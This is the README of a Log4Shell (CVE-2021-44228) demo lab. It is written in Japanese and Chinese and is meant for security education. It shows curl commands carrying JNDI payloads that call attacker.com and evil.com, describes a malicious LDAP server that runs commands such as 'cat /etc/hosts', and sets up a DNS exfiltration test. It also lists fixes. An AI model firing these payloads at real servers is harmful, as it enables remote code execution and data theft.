
Demo of CVE-2021-44228 Log4Shell.
これは、Log4j2 のリモートコード実行脆弱性(Log4Shell)を学習・研究するためのデモプロジェクトです。
このプロジェクトはセキュリティ研究および教育目的のみに使用してください。本番環境では使用しないでください!
このプロジェクトは、重大なセキュリティ脆弱性を含む Log4j 2.14.1 を使用しています。
./mvnw clean package
./mvnw spring-boot:run
または:
java -jar target/log4j2-bugmaker-0.0.1-SNAPSHOT.jar
ブラウザで http://localhost:8080 にアクセスしてください
curl -H "User-Agent: \${jndi:ldap://attacker.com/a}" http://localhost:8080/api/log
curl "http://localhost:8080/api/search?query=\${jndi:ldap://attacker.com/a}"
curl http://localhost:8080/api/health
Log4Shell (CVE-2021-44228) は Apache Log4j2 における重大な脆弱性です。アプリケーションが特殊なフォーマット文字列を含むユーザー入力をログに記録すると、Log4j2 は JNDI ルックアップ式を解析し、攻撃者はこの特性を利用してリモートコードを実行できます。
${jndi:ldap://evil.com/a}
${jndi:rmi://evil.com/a}
${jndi:dns://evil.com/a}
${java:version}
${java:os}
${env:PATH}
Log4j2 を 2.17.1 以上にアップグレードします:
<properties>
<log4j2.version>2.17.1</log4j2.version>
</properties>
-Dlog4j2.formatMsgNoLookups=true
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
# 1. 运行自动化脚本
./setup-exploit-server.sh
# 2. 选择 JNDI-Injection-Exploit 工具
# 3. 输入要执行的命令(如 whoami 或 cat /etc/hosts)
# 4. 在另一个终端发送攻击载荷
# 启动恶意 LDAP 服务器
python3 simple-ldap-server.py "whoami"
# 或执行其他命令
python3 simple-ldap-server.py "cat /etc/hosts"
# 在另一个终端发送攻击载荷
curl -H 'User-Agent: ${jndi:ldap://YOUR_IP:1389/Exploit}' http://localhost:8080/api/log
# 运行 DNS 外带测试脚本
./test-dns-exfiltration.sh
# 按提示操作,访问 dnslog.cn 获取子域名
# 然后查看是否收到 DNS 查询请求
このプロジェクトは MIT License オープンソースライセンスを採用しています。
特記事項:このプロジェクトは教育およびセキュリティ研究目的のみに使用してください。使用上のリスクはすべて利用者の負担となります。
無断で他人のシステムに対してペネトレーションテストを行うことは違法行為です!このプロジェクトは以下の目的にのみ使用してください:
現地の法令を遵守し、これらの知識を責任を持って使用してください。